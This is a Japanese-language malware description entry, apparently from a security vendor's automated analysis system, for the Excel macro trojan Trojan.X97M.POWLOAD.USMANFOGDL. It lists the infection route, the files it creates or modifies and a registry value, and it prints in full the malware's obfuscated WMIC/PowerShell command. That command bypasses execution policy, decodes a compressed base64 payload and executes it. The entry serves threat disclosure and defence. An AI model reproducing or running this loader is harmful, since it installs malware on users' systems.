Trojan.X97M.POWLOAD.USMANFOGDL

マルウェアは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。

侵入方法

マルウェアは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。

インストール

マルウェアは、以下のプロセスを追加します。

• WMiC "PrOCess" 'CalL' 'CreaTE' "POwErSHELL -ex bYPASs -nONinTeractI -NoPRoFiL -Win 01 SV ('JW'+'G') (([CHaR]34).ToSTRing()) ;SV 8LN ( [STriNg][ChAR]44) ; "\".(${JWG}{1}{0}${JWG} -f 'al'${8LN}'n') (${JWG}{1}{0}${JWG}-f 'unc'${8LN}'f') (${JWG}{2}{0}{1}{3}${JWG} -f 'ew-'${8LN}'Objec'${8LN}'N'${8LN}'t') -F; &((vARiaBle '*mDR*').nAme[3${8LN}11${8LN}2]-JOIn'') ( func io.coMprESsioN.DeFLatESTrEAM( [io.MeMoRyStream] [sySTeM.cOnVerT]::FrombAse64striNg('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') ${8LN} [SYstEM.Io.comPRESSIoN.cOMprEssiONMode]::decOmpreSS)| ForEach-OBJEct{ func SysTem.iO.StReAMREADeR( `$_${8LN} [sySteM.text.encoDing]::utf8) }| forEACH-obJEct {`$_.ReaDTOend() })"\"| .( $SheLlID[1]+$ShelLID[13]+'X')"

他のシステム変更

マルウェアは、以下のファイルを改変します。

• %Application Data%\Microsoft\Office\Excel12.pip

(註：%Application Data%フォルダは、現在ログオンしているユーザのアプリケーションデータフォルダです。Windows 2000(32-bit)、XP、Server 2003(32-bit)の場合、通常 "C:\Documents and Settings\＜ユーザ名＞\Local Settings\Application Data" です。また、Windows Vista、7、8、8.1、2008(64-bit)、2012(64-bit)、10(64-bit)の場合、通常 "C:\Users\＜ユーザ名＞\AppData\Roaming" です。)

マルウェアは、以下のレジストリ値を追加します。

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\
Wow6432Node\Interface\{BEF6E003-A874-101A-8BBA-00AA00300CAB}
(Default) = ""

作成活動

マルウェアは、以下のファイルを作成します。

• %Application Data%\Microsoft\Office\Excel12.pip
• %User Temp%\4903493.od
• %AppDataLocal%\GDIPFONTCACHEV1.DAT
• {malware file path and name}

(註：%Application Data%フォルダは、現在ログオンしているユーザのアプリケーションデータフォルダです。Windows 2000(32-bit)、XP、Server 2003(32-bit)の場合、通常 "C:\Documents and Settings\＜ユーザ名＞\Local Settings\Application Data" です。また、Windows Vista、7、8、8.1、2008(64-bit)、2012(64-bit)、10(64-bit)の場合、通常 "C:\Users\＜ユーザ名＞\AppData\Roaming" です。. %User Temp%フォルダは、現在ログオンしているユーザの一時フォルダです。Windows 2000(32-bit)、XP、Server 2003(32-bit)の場合、通常 "C:\Documents and Settings\＜ユーザー名＞\Local Settings\Temp"です。また、Windows Vista、7、8、8.1、2008(64-bit)、2012(64-bit)、10(64-bit)の場合、通常 "C:\Users\＜ユーザ名＞\AppData\Local\Temp" です。. %AppDataLocal%フォルダは、ローカルアプリケーションデータフォルダです。Windows 2000(32-bit)、XP、Server 2003(32-bit)の場合、通常 "C:\Documents and Settings\＜ユーザ名＞\Local Settings\Application Data" です。また、Windows Vista、7、8、8.1、2008(64-bit)、2012(64-bit)、10(64-bit)の場合、通常 "C:\Users\＜ユーザ名＞\AppData\Local" です。)

このウイルス情報は、自動解析システムにより作成されました。